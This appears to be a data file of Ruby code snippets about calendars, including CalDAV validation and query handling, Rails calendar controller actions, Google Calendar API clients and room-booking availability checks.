"def validate_i_calendar(data_box, path, modified_box, request, response, is_new)\n data = data_box.value\n modified = modified_box.value\n\n # If it's a stream, we convert it to a string first.\n data = data.read unless data.is_a?(String)\n\n before = Digest::MD5.hexdigest(data)\n\n # Converting the data to unicode, if needed.\n data = Dav::StringUtil.ensure_utf8(data)\n\n modified = true unless before == Digest::MD5.hexdigest(data)\n\n begin\n # If the data starts with a [, we can reasonably assume we're dealing\n # with a jCal object.\n if data[0] == '['\n vobj = VObject::Reader.read_json(data)\n\n # Converting data back to iCalendar, as that's what we\n # technically support everywhere.\n data = vobj.serialize\n modified = true\n else\n vobj = VObject::Reader.read(data)\n end\n rescue VObject::ParseException => e\n raise Dav::Exception::UnsupportedMediaType, \"This resource only supports valid iCalendar 2.0 data. Parse error: #{e.message}\"\n end\n\n fail Dav::Exception::UnsupportedMediaType, 'This collection can only support iCalendar objects.' if vobj.name != 'VCALENDAR'\n\n s_ccs = '{urn:ietf:params:xml:ns:caldav}supported-calendar-component-set'\n\n # Get the Supported Components for the target calendar\n parent_path = Uri.split(path).first\n calendar_properties = @server.properties(parent_path, [s_ccs])\n\n if calendar_properties.key?(s_ccs)\n supported_components = calendar_properties[s_ccs].value\n else\n supported_components = ['VJOURNAL', 'VTODO', 'VEVENT']\n end\n\n found_type = nil\n found_uid = nil\n vobj.components.each do |component|\n case component.name\n when 'VTIMEZONE'\n next\n when 'VEVENT', 'VTODO', 'VJOURNAL'\n if found_type.nil?\n found_type = component.name\n unless supported_components.include?(found_type)\n fail Exception::InvalidComponentType, \"This calendar only supports #{supported_components.join(', ')}. We found a #{found_type}\"\n end\n unless component.key?('UID')\n fail Dav::Exception::BadRequest, \"Every #{component.name} component must have an UID\"\n end\n\n found_uid = component['UID'].to_s\n else\n unless found_type == component.name\n fail Dav::Exception::BadRequest, \"A calendar object must only contain 1 component. We found a #{component.name} as well as a #{found_type}\"\n end\n unless found_uid == component['UID'].to_s\n fail Dav::Exception::BadRequest, \"Every #{component.name} in this object must have identical UIDs\"\n end\n end\n else\n fail Dav::Exception::BadRequest, \"You are not allowed to create components of type: #{component.name} here\"\n end\n end\n\n fail Dav::Exception::BadRequest, 'iCalendar object must contain at least 1 of VEVENT, VTODO or VJOURNAL' unless found_type\n\n # We use an extra variable to allow event handles to tell us wether\n # the object was modified or not.\n #\n # This helps us determine if we need to re-serialize the object.\n sub_modified = Box.new(false)\n\n @server.emit(\n 'calendarObjectChange',\n [\n request,\n response,\n vobj,\n parent_path,\n sub_modified,\n is_new\n ]\n )\n\n if sub_modified.value\n # An event handler told us that it modified the object.\n data = vobj.serialize\n\n # Using md5 to figure out if there was an *actual* change.\n modified = true if !modified && before != Digest::MD5.hexdigest(data)\n end\n\n # Destroy circular references so PHP will garbage collect the object.\n vobj.destroy\n\n # Update boxes\n modified_box.value = modified\n data_box.value = data\n end",
"def get_calendar(calendar_id = 'primary')\n execute(:api_method => service.calendars.get, :parameters => { 'calendarId' => calendar_id }).data\n end",
"def update\n @calendar = Calendar.find(params[:id])\n\n respond_to do |format|\n if @calendar.update_attributes(params[:calendar])\n format.html { redirect_to @calendar, :notice => 'Calendar was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @calendar.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @calendar = Calendar.find(params[:id])\n\n respond_to do |format|\n if @calendar.update_attributes(params[:calendar])\n format.html { redirect_to @calendar, notice: 'Calendar was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def has_calendar?\n \t\t!calendar.nil?\n \tend",
"def get_calendars\r\n http = Net::HTTP.new(@google_url, 80)\r\n response, data = http.get(\"http://#{@google_url}/calendar/feeds/\" + @user_id, @headers)\r\n case response\r\n when Net::HTTPSuccess, Net::HTTPRedirection\r\n redirect_response, redirect_data = http.get(response['location'], @headers)\r\n case response\r\n when Net::HTTPSuccess, Net::HTTPRedirection\r\n doc = REXML::Document.new redirect_data\r\n \t doc.elements.each('//entry')do |e|\r\n \t title = e.elements['title'].text\r\n \t url = e.elements['link'].attributes['href']\r\n \t @calendars << GCalendar.new(title, url.sub!(\"http://#{@google_url}\",''))\r\n \t end\r\n return redirect_response\r\n else\r\n response.error!\r\n end\r\n else\r\n response.error!\r\n end\r\n end",
"def calendar_updation\n\t\tcommit = params[:body][:commit]\n\t\tp \"$$$$$$$$$$$$$$$$$$$$$$$$\"\n\t\tp commit\n\t\tdate=[]\n\t\t@date=params[:body][:date]\n\t\t@property_type=params[:body][:property_type]\n\t\tcase commit\n\t\t\twhen \"Booked\"\n\t\t\t@date.each do|date|\n\t\t @room_booking = RoomBooking.new(:room_id=>@property_type,:check_in=>date.to_date, :check_out=>date.to_date)\n\t\t\t @room_booking.is_accepted=true\n\t\t @room_booking.save\n\t\t\tend\n\t\t\t render :json=>{:response=>\"Booked\"}\n\t\t when \"Available\"\n\t\t\t@date.each do|date|\n\t\t @room_booking = RoomBooking.new(:room_id=>@property_type,:check_in=>date.to_date, :check_out=>date.to_date)\n \t\t\t@room_booking.is_accepted=false\n\t\t\t\t@room_booking.save\n\t\t\tend\n\t\t\t render :json=>{:response=>\"Available\"}\n\t\t when \"Un-Available\"\n\t\t\t@date.each do|date|\n\t\t @room_booking = RoomBooking.new(:room_id=>@property_type,:check_in=>date.to_date, :check_out=>date.to_date)\n\t\t\t\t@room_booking.is_unavailable=true\n\t\t\t\t@room_booking.save\n\t\t\tend\n\t\t\trender :json=>{:response=>\"Un-Available\"}\n\t\tend\n\tend",
"def list_calendars\n unless @calendars\n xml = send(Addressable::URI.parse(\"#{BASE_URI}/default/allcalendars/full\"), :get)\n @calendars = Nokogiri::XML(xml.body)\n @calendars.remove_namespaces!\n end\n @calendars\n end",
"def find_calendar\n\t\t\tif @place.nil?\n\t\t\t\t# We need to get the city's calendar.\n\t\t\t\t@calendar = @city.calendar\n\t\t\telse\n\t\t\t\t@calendar = @place.calendar\n\t\t\tend\n\t\tend",
"def find_calendar\n\t\t\tif @place.nil?\n\t\t\t\t# We need to get the city's calendar.\n\t\t\t\t@calendar = @city.calendar\n\t\t\telse\n\t\t\t\t@calendar = @place.calendar\n\t\t\tend\n\t\tend",
"def calendar(remote_account_id, calendar_id, fields: nil)\n check_not_empty remote_account_id, 'remote_account_id'\n check_not_empty calendar_id, 'calendar_id'\n params = build_fields_params fields\n path = calendar_path remote_account_id, calendar_id\n res = @connection.get path, params\n Calendar.new res.body, self\n end",
"def update\n @calendar = Calendar.find(params[:id])\n\n respond_to do |format|\n if @calendar.update_attributes(params[:calendar])\n flash[:notice] = 'Calendar was successfully updated.'\n format.html { redirect_to(@calendar) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @calendar.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @calendar = Calendar.find(params[:id])\n\n respond_to do |format|\n if @calendar.update_attributes(params[:calendar])\n flash[:notice] = 'Calendar was successfully updated.'\n format.html { redirect_to(@calendar) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @calendar.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @calendar = Calendar.find(params[:id])\n\n respond_to do |format|\n if @calendar.update_attributes(params[:calendar])\n flash[:notice] = 'Calendar was successfully updated.'\n format.html { redirect_to(@calendar) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @calendar.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @calendar = Calendar.find(params[:id])\n\n respond_to do |format|\n if @calendar.update_attributes(params[:calendar])\n flash[:notice] = 'Calendar was successfully updated.'\n format.html { redirect_to(@calendar) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @calendar.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def calendars\n if @event.travels_done?\n if current_user.expired == 1\n render :nothing => true, :status => :unauthorized\n else\n render :json => @event.to_json, :status => :ok\n end\n elsif @event.canceled?\n render :nothing => true, :status => :gone\n else\n render :nothing => true, :status => :not_found\n end\n end",
"def get_payroll_calendars(options = {})\n request_params = {}\n response_xml = http_get(client, \"#{@payroll_url}/PayrollCalendars\", request_params)\n parse_response(response_xml, {:request_params => request_params}, {:request_signature => 'GET/payroll_calendars'})\n end",
"def show\n @calendar = Calendar.find(params[:id])\n\n unless @calendar.public?\n if user_signed_in?\n unless @calendar.user_id == current_user.id || current_user.calendars.includes(@calendar)\n redirect_to root_path, alert: 'You do not have permission to access this calendar!' and return\n end\n else\n redirect_to root_path, alert: 'You have to log in before you can access a private calendar' and return\n end\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @calendar }\n end\n end",
"def create\n @calendar = Calendar.new(calendar_params)\n\n respond_to do |format|\n if @calendar.save\n format.html { redirect_to @calendar, notice: \"Calendar was successfully created.\" }\n format.json { render :show, status: :created, location: @calendar }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def calendar\n\t\t@pagenumber=154\n\t\tdata=params\n\t\tsession[:referer] = nil\n\t\tget_report_favourites\n\t\tset_date_and_month_for_calendar(data)\n\t\t@calendar = Redmine::Helpers::Calendar.new(Date.civil(@year, @month, 1), :month)\n\t\tget_receiver_and_provider\n\t\t@calendar.time_entries = Physical::Timeandexpenses::TimeEntry.find(:all,:conditions => ['employee_user_id = ? and (time_entry_date BETWEEN ? and ? ) and matter_people_id is null', @receiver.id, @calendar.startdt, @calendar.enddt ])\n\t\tif request.xhr?\t\t\t\n\t\t\trender :partial=> \"content\"\n\t\telse\n\t\t\trender :layout => \"left_with_tabs\"\n\t\tend\n\tend",
"def calendar\n get '/gtfs/calendar'\n end",
"def calendar_list\r\n logger.info(\"-- calendar list st --\") if logger\r\n auth unless @auth\r\n uri = URI.parse(CALENDAR_LIST_PATH)\r\n res = do_get(uri, {})\r\n logger.info(\"-- calendar list en(#{res.message}) --\") if logger\r\n res\r\n end",
"def calendar_list\n logger.info(\"-- calendar list st --\") if logger\n auth unless @auth\n uri = URI.parse(CALENDAR_LIST_PATH + @email)\n res = do_get(uri, {})\n logger.info(\"-- calendar list en(#{res.message}) --\") if logger\n res\n end",
"def g_cal\n @g_cal ||= Google::Calendar.new(\n :client_id => @client_id,\n :client_secret => @secret,\n :calendar => @calendar_id,\n :redirect_url => \"urn:ietf:wg:oauth:2.0:oob\" # this is what Google uses for 'applications'\n )\n end",
"def create\n\t@calendar = @user.calendars.build(params[:calendar])\n\n respond_to do |format|\n if @calendar.save\n flash[:notice] = 'Calendar was successfully created.'\n format.html { redirect_to(calendars_path) }\n format.xml { render :xml => @calendar, :status => :created, :location => @calendar }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @calendar.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @calendar = Calendar.new(calendar_params)\n\n respond_to do |format|\n if @calendar.save\n format.html { redirect_to @calendar, notice: 'Calendar was successfully created.' }\n format.json { render :show, status: :created, location: @calendar }\n else\n format.html { render :new }\n format.json { render json: @calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @calendar = Calendar.new(calendar_params)\n\n respond_to do |format|\n if @calendar.save\n format.html { redirect_to @calendar, notice: 'Calendar was successfully created.' }\n format.json { render :show, status: :created, location: @calendar }\n else\n format.html { render :new }\n format.json { render json: @calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n verify_owner(params[:gcal_id])\n\n calendar_list = @current_user.calendar_list\n calendar = calendar_list.calendars.find_or_create_by(gcal_id: params[:gcal_id])\n calendar.sync!(@current_user.access_token) if not calendar.synced?\n\n render json: calendar.json_data\n end",
"def set_calendar\n @calendar = @hairdresser.calendars.find(params[:calendar_id])\n end",
"def ipo_calendar(from, to, opts = {})\n data, _status_code, _headers = ipo_calendar_with_http_info(from, to, opts)\n data\n end",
"def index\n @calendar = Calendar.find(1)\n end",
"def earnings_calendar_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.earnings_calendar ...'\n end\n # resource path\n local_var_path = '/calendar/earnings'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'from'] = opts[:'from'] if !opts[:'from'].nil?\n query_params[:'to'] = opts[:'to'] if !opts[:'to'].nil?\n query_params[:'symbol'] = opts[:'symbol'] if !opts[:'symbol'].nil?\n query_params[:'international'] = opts[:'international'] if !opts[:'international'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'EarningsCalendar' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#earnings_calendar\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def find_combined_calendar\n @combined_calendar = CombinedCalendar.find(params[:id], :include => :node).current_version\n end",
"def create\n @calendar = Calendar.new(params[:calendar])\n\n respond_to do |format|\n if @calendar.save\n format.html { redirect_to @calendar, notice: 'Calendar was successfully created.' }\n format.json { render json: @calendar, status: :created, location: @calendar }\n else\n format.html { render action: \"new\" }\n format.json { render json: @calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def calendar_query_report(report)\n path = @server.request_uri\n\n needs_json = report.content_type == 'application/calendar+json'\n\n node = @server.tree.node_for_path(@server.request_uri)\n depth = @server.http_depth(0)\n\n # The default result is an empty array\n result = []\n\n calendar_time_zone = nil\n if report.expand\n # We're expanding, and for that we need to figure out the\n # calendar's timezone.\n tz_prop = \"{#{NS_CALDAV}}calendar-timezone\"\n tz_result = @server.properties(path, [tz_prop])\n\n if tz_result.key?(tz_prop)\n # This property contains a VCALENDAR with a single\n # VTIMEZONE.\n vtimezone_obj = VObject::Reader.read(tz_result[tz_prop])\n calendar_time_zone = vtimezone_obj['VTIMEZONE'].time_zone\n\n # Destroy circular references so PHP will garbage collect the\n # object.\n vtimezone_obj.destroy\n else\n # Defaulting to UTC.\n calendar_time_zone = ActiveSupport::TimeZone.new('UTC')\n end\n end\n\n # The calendarobject was requested directly. In this case we handle\n # this locally.\n if depth == 0 && node.is_a?(ICalendarObject)\n requested_calendar_data = true\n requested_properties = report.properties\n\n unless requested_properties.include?('{urn:ietf:params:xml:ns:caldav}calendar-data')\n # We always retrieve calendar-data, as we need it for filtering.\n requested_properties << '{urn:ietf:params:xml:ns:caldav}calendar-data'\n\n # If calendar-data wasn't explicitly requested, we need to remove\n # it after processing.\n requested_calendar_data = false\n end\n\n properties = @server.properties_for_path(\n path,\n requested_properties,\n 0\n )\n\n # This array should have only 1 element, the first calendar\n # object.\n properties = properties.first\n\n # If there wasn't any calendar-data returned somehow, we ignore\n # this.\n if properties[200].key?('{urn:ietf:params:xml:ns:caldav}calendar-data')\n validator = CalendarQueryValidator.new\n\n v_object = VObject::Reader.read(properties[200]['{urn:ietf:params:xml:ns:caldav}calendar-data'])\n if validator.validate(v_object, report.filters)\n # If the client didn't require the calendar-data property,\n # we won't give it back.\n if !requested_calendar_data\n properties[200].delete('{urn:ietf:params:xml:ns:caldav}calendar-data')\n else\n v_object = v_object.expand(report.expand['start'], report.expand['end'], calendar_time_zone) if report.expand\n\n if needs_json\n properties[200][\"{#{NS_CALDAV}}calendar-data\"] = v_object.json_serialize.to_json\n elsif report.expand\n properties[200][\"{#{NS_CALDAV}}calendar-data\"] = v_object.serialize\n end\n end\n\n result = [properties]\n end\n\n # Destroy circular references so PHP will garbage collect the\n # object.\n v_object.destroy\n end\n end\n\n if node.is_a?(ICalendarObjectContainer) && depth == 0\n if @server.http_request.header('User-Agent').to_s.index('MSFT-') == 0\n # Microsoft clients incorrectly supplied depth as 0, when it actually\n # should have set depth to 1. We're implementing a workaround here\n # to deal with this.\n #\n # This targets at least the following clients:\n # Windows 10\n # Windows Phone 8, 10\n depth = 1\n else\n fail Dav::Exception::BadRequest, 'A calendar-query REPORT on a calendar with a Depth: 0 is undefined. Set Depth to 1'\n end\n end\n\n # If we're dealing with a calendar, the calendar itself is responsible\n # for the calendar-query.\n if node.is_a?(ICalendarObjectContainer) && depth == 1\n node_paths = node.calendar_query(report.filters)\n\n node_paths.each do |path|\n properties = @server.properties_for_path(@server.request_uri + '/' + path, report.properties).first\n\n if needs_json || report.expand\n v_object = VObject::Reader.read(properties[200][\"{#{NS_CALDAV}}calendar-data\"])\n\n v_object = v_object.expand(report.expand['start'], report.expand['end'], calendar_time_zone) if report.expand\n\n if needs_json\n properties[200][\"{#{NS_CALDAV}}calendar-data\"] = v_object.json_serialize.to_json\n else\n properties[200][\"{#{NS_CALDAV}}calendar-data\"] = v_object.serialize\n end\n\n # Destroy circular references so PHP will garbage collect the\n # object.\n v_object.destroy\n end\n\n result << properties\n end\n end\n\n prefer = @server.http_prefer\n\n @server.http_response.status = 207\n @server.http_response.update_header('Content-Type', 'application/xml; charset=utf-8')\n @server.http_response.update_header('Vary', 'Brief,Prefer')\n @server.http_response.body = @server.generate_multi_status(result, prefer['return'] == 'minimal')\n end",
"def index_for_calendar\n # build_calendar_data --> AppointmentsHelper method\n render json: build_calendar_data, status: 200\n end",
"def show\n @calendar = Calendar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @calendar }\n end\n end",
"def show\n @calendar = Calendar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @calendar }\n end\n end",
"def set_calendar_date\n @calendar_date = CalendarDate.find(params[:id])\n end",
"def create\n \n @org_calendars= current_user.organization.calendars(:order=>'created_at ASC')\n puts @org_calendars.inspect\n @org_last_calendar=@org_calendars.find(:last)\n puts \"#########################\"\n puts @org_last_calendar.inspect\n puts \"*****************************\"\n if !@org_calendars.blank? && !@org_last_calendar.blank?\n y= @org_last_calendar.cal_num.gsub!(\"CAL-\",\"\")\n \n m=y.to_i\n m = m +1\n x = (\"CAL-%0.4d\" %m.to_i).to_s\n\n params[:calendar][:cal_num] = x\n \n @calendar = Calendar.new(params[:calendar])\n @calendar.organization = current_user.organization\n @calendar.user = current_user\n else \n m = 1\n x = (\"CAL-%0.4d\" %m.to_i).to_s\n params[:calendar][:cal_num] = x\n @calendar = Calendar.new(params[:calendar])\n @calendar.organization = current_user.organization\n @calendar.user = current_user\n end\n \n @calendar.entry_date = change_date_format(params[:calendar][:entry_date]) if !(params[:calendar][:entry_date]).blank?\n respond_to do |format|\n if @calendar.save\n format.html { redirect_to calendars_url, notice: 'Calendar was successfully created.' }\n format.json { render json: @calendar, status: :created, location: @calendar }\n else\n format.html { render action: \"new\" }\n format.json { render json: @calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def verifyCalendarDate\n # Make sure the given year is not less than 1900.\n if @year < 1900\n @year = 1900\n end\n\n # Make sure the month is within range.\n if @month > 12\n @month = 12\n end\n if @month < 1\n @month = 1\n end\n\n # Make sure the day given is within range of the month.\n month_length = CDK::CALENDAR.getMonthLength(@year, @month)\n if @day < 1\n @day = 1\n end\n if @day > month_length\n @day = month_length\n end\n end",
"def create\n @calendar = Calendar.new(params[:calendar])\n\n respond_to do |format|\n if @calendar.save\n flash[:notice] = 'Calendar was successfully created.'\n format.html { redirect_to(@calendar) }\n format.xml { render :xml => @calendar, :status => :created, :location => @calendar }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @calendar.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def categories_available(from, to)\n\n not_available_event_type = ::Yito::Model::Calendar::EventType.first(:name => 'not_available')\n\n condition = Conditions::JoinComparison.new('$and',\n [Conditions::Comparison.new('event_type', '$eq', not_available_event_type),\n Conditions::JoinComparison.new('$or', \n [Conditions::JoinComparison.new('$and', \n [Conditions::Comparison.new('from','$lte', from),\n Conditions::Comparison.new('to','$gte', from)\n ]),\n Conditions::JoinComparison.new('$and',\n [Conditions::Comparison.new('from','$lte', to),\n Conditions::Comparison.new('to','$gte', to)\n ]),\n Conditions::JoinComparison.new('$and',\n [Conditions::Comparison.new('from','$eq', from),\n Conditions::Comparison.new('to','$eq', to)\n ]),\n Conditions::JoinComparison.new('$and',\n [Conditions::Comparison.new('from', '$gte', from),\n Conditions::Comparison.new('to', '$lte', to)]) \n ]\n ),\n ]\n )\n not_available_calendars = Set.new(condition.build_datamapper(Yito::Model::Calendar::Event).all.map { |item| item.calendar.id }).to_a\n\n categories_with_calendar = ::Yito::Model::Booking::BookingCategory.all(active: true).select { |cat| not cat.calendar.nil? }\n calendars = categories_with_calendar.map { |cat| {:code => cat.code, :calendar => cat.calendar.id} }\n calendars.select! { |cal| not_available_calendars.index(cal[:calendar]) == nil }\n calendars.map { |cal| cal[:code] }\n\n \t \tend",
"def calendar\n\t\t@course = Course.find(params[:id])\n\t\t@date = params[:month] ? Date.parse(params[:month]) : Date.today\n\t\t@assignments = @course.assignments.where(\"due_date\")\n\tend",
"def availability_of_room\n room_type = RoomType.find(self.room_type_id) rescue nil\n errors.add(:room_type_id, \"Pleass select room type\") if room_type.blank?\n return if room_type.blank?\n total_rooms = room_type.rooms.pluck(:id)\n booked_rooms = Booking.where('(start_date >= ? and start_date <= ?) or (end_date >= ? and end_date <= ?)', self.start_date, self.end_date, self.start_date, self.end_date).pluck(:room_id)\n available_rooms = total_rooms - booked_rooms\n errors.add(:start_date, \"unavailable for given time period\") if available_rooms.count == 0\n end",
"def convert_to(calendar)\n Date.new(calendar, self)\n end",
"def show\n\tredirect_to new_availability_calendar_path\n end",
"def new\n\t@availability_calendar = User.find(session[:id]).availability_calendar\n\tif User.find(session[:id]).availability_calendar.nil?:\n\t User.find(session[:id]).availability_calendar=AvailabilityCalendar.create\n\t if User.find(session[:id]).availability_calendar.nil?:\n\t\tredirect_to \"http://google.com\"\n\t end\n\t #@availability_calendar = User.find(session[:id]).availability_calendar\n\t #14.times {\t|i|\n\t\t#@availability_calendar.availability_days.build(:availability_day => Date.today+i.days)\n\t #}\n\t User.find(session[:id]).availability_calendar.save\n\tend\n #@availability_calendar = User.find(session[:id]).availability_calendar\n\t#redirect_to (:action => 'edit', :id => @availability_calendar.id)# edit_availability_calendar @availability_calendar\n end",
"def update\n @calendar = Calendar.find(params[:id])\n params[:calendar][:entry_date] = change_date_format(params[:calendar][:entry_date]) if !(params[:calendar][:entry_date]).blank?\n respond_to do |format|\n if @calendar.update_attributes(params[:calendar])\n format.html { redirect_to calendars_url, notice: 'Calendar was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @combined_calendar.attributes = params[:combined_calendar]\n\n respond_to do |format|\n if @commit_type == 'preview' && @combined_calendar.valid?\n format.html do\n @calendar = @combined_calendar\n find_calendar_items\n render :action => 'update_preview', :layout => 'admin/admin_preview'\n end\n format.xml { render :xml => @combined_calendar, :status => :created, :location => @combined_calendar }\n elsif @commit_type == 'save' && @combined_calendar.save(:user => current_user)\n format.html { render 'admin/shared/update' }\n format.xml { head :ok }\n else\n format.html { render :template => 'admin/shared/edit', :locals => { :record => @combined_calendar }, :status => :unprocessable_entity }\n format.xml { render :xml => @combined_calendar.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_calendar\n @calendar = Calendar.find(params[:id])\n @site = @calendar.site\n end",
"def update\n respond_to do |format|\n if @calendar_date.update(calendar_date_params)\n format.html { redirect_to @calendar_date, notice: 'Calendar date was successfully updated.' }\n format.json { render :show, status: :ok, location: @calendar_date }\n else\n format.html { render :edit }\n format.json { render json: @calendar_date.errors, status: :unprocessable_entity }\n end\n end\n end",
"def find_calendar\n @calendar = @node.content\n end",
"def availability\n\t\tdateDaysNamesShort = I18n.t('date.abbr_day_names').dup\n\t\tdateDayNames = I18n.t('date.day_names').dup\n\t\tdateMonthNames = I18n.t('date.month_names').dup\n\n\t\tdateMonthNamesShort = I18n.t('date.abbr_month_names').dup\n\n\t\tdateMonthNames.delete_at(0)\n\t\tdateMonthNamesShort.delete_at(0)\n\t\t@js_i18n_data = {:dateDaysNames=>dateDayNames.to_s,:dateDaysNamesShort=>dateDaysNamesShort.to_s, :dateMonthNames=>dateMonthNames.to_s, :dateMonthNamesShort=>dateMonthNamesShort.to_s}\n\n\t\t@staffer = Staffer.find(params[:id])\n\t\t@availability = @staffer.availability\n\n\t\tif request.put?\n\t\t\tjson_data = params[:json_data]\n\t\t\tif Availability.is_json_valid?(json_data)\n\t\t\t\t@availability.json_data = json_data\n\t\t\t\t@availability.save\n\t\t\t\trender :json=> { :status => :ok, :message=>I18n.t(\"flash.success.business_account.availability.update\")}\n\t\t\t#flash_success(\"flash.success.business_account.availability.update\")\n\t\t\telse\n\t\t\t\trender :json=> { :status => :error, :message=>I18n.t(\"flash.error.business_account.availability.update\")}\n\t\t\t#flash_error(\")\n\t\t\tend\n\n\t\tend\n\n\tend",
"def update\n @menu_calendar = MenuCalendar.find(params[:id])\n\n respond_to do |format|\n if @menu_calendar.update_attributes(params[:menu_calendar])\n format.html { redirect_to(@menu_calendar, :notice => 'Menu calendar was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @menu_calendar.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def calendars(remote_account_id, fields: nil)\n check_not_empty remote_account_id, 'remote_account_id'\n params = build_fields_params fields\n path = calendar_path remote_account_id\n res = @connection.get path, params\n map_as_collection res, Calendar\n end",
"def correct_calendar\n @calcheck=Department.find(Calendar.find(params[:id]).department_id)\n redirect_to(calendars_url) unless current_emp.id==@calcheck.enterprise_id || current_user.role>3 \n end",
"def create_or_update_google_calendar_events\n client = Google::Apis::CalendarV3::CalendarService.new\n client.authorization = Google::Auth.get_application_default(Google::Apis::CalendarV3::AUTH_CALENDAR) \n\n if self.home_team.google_calendar_id\n event = self.build_google_calendar_event_for_team(self.home_team)\n if self.home_team_google_calendar_id\n client.update_event(self.home_team.google_calendar_id, self.home_team_google_calendar_id, event)\n else\n result = client.insert_event(self.home_team.google_calendar_id, event)\n self.update_column(:home_team_google_calendar_id, result.id)\n end\n end\n\n if self.away_team.google_calendar_id\n event = self.build_google_calendar_event_for_team(self.away_team)\n if self.away_team_google_calendar_id\n client.update_event(self.away_team.google_calendar_id, self.away_team_google_calendar_id, event)\n else\n result = client.insert_event(self.away_team.google_calendar_id, event)\n self.update_column(:away_team_google_calendar_id, result.id)\n end\n end\n end",
"def as_json(*)\n CalendarJSON.rent(self)\n end",
"def calendar_sync_enabled\n return @calendar_sync_enabled\n end",
"def calendars(user)\n Transport::url = Config.url\n\n _started = Time.now\n result = Transport::get(Config.username, Config.password, user, self.transport)\n _ended = Time.now\n KerioIcal.logger.info \"Transport::get spent #{_ended - _started}, with #{self.transport}\"\n\n _started = Time.now\n cals = Icalendar.parse(result)\n _ended = Time.now\n KerioIcal.logger.info \"Icalendar::parse spent #{_ended - _started}\"\n\n cals\n end",
"def calendar(text=\"Select a Date\", height=0, width=0, day=Date.today.mday(), month=Date.today.mon(), year=Date.today.year())\n\n\t\ttmp = Tempfile.new('tmp')\n\n\t\tcommand = option_string() + \"--calendar \\\"\" + text.to_s + \n\t\t\t\"\\\" \" + height.to_i.to_s + \" \" + width.to_i.to_s + \" \" + \n\t\t\tday.to_i.to_s + \" \" + month.to_i.to_s + \" \" + year.to_i.to_s + \n\t\t\t\" 2> \" + tmp.path\n\t\tsuccess = system(command)\n\t\tif success\n\t\t\tdate = Date::civil(*tmp.readline.split('/').collect {|i| i.to_i}.reverse)\n\t\t\ttmp.close!\n\t\t\treturn date\n\t\telse\n\t\t\ttmp.close!\n\t\t\treturn success\n\t\tend\t\n\t\t\n\tend",
"def update\n respond_to do |format|\n if @shop_calendar.update(shop_calendar_params)\n format.html { redirect_to @shop_calendar, notice: 'Shop calendar was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop_calendar }\n else\n format.html { render :edit }\n format.json { render json: @shop_calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_calendar_sync\n @calendar_sync = CalendarSync.find(params[:id])\n end",
"def get_availability\n start = parse_time(params[:date], params[:reservation_start])\n finish = parse_time(params[:date], params[:reservation_end])\n # redirect if the times aren't valid (in the past, end before finish, etc)\n redirect_to new_reservation_path, notice: \"Invalid reservation times\" unless valid_times?(start, finish)\n @cars = Array.new\n # for each car, check if it is available. save it if so\n Car.all.each do |car|\n @cars << car if car_available?(car, start, finish)\n end\n # if no cars are available, redirect back to the new reservation\n redirect_to new_reservation_path, method: :post, notice: \"No cars available at that time\" if @cars.empty?\n @reservation = Reservation.new\n @reservation.start = start\n @reservation.finish = finish\n user_id = params[:user_id] || current_user\n @reservation.user = User.find(user_id)\n end",
"def show\n @calendar = Calendar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @calendar }\n end\n end",
"def show\n @calendar = Calendar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @calendar }\n end\n end",
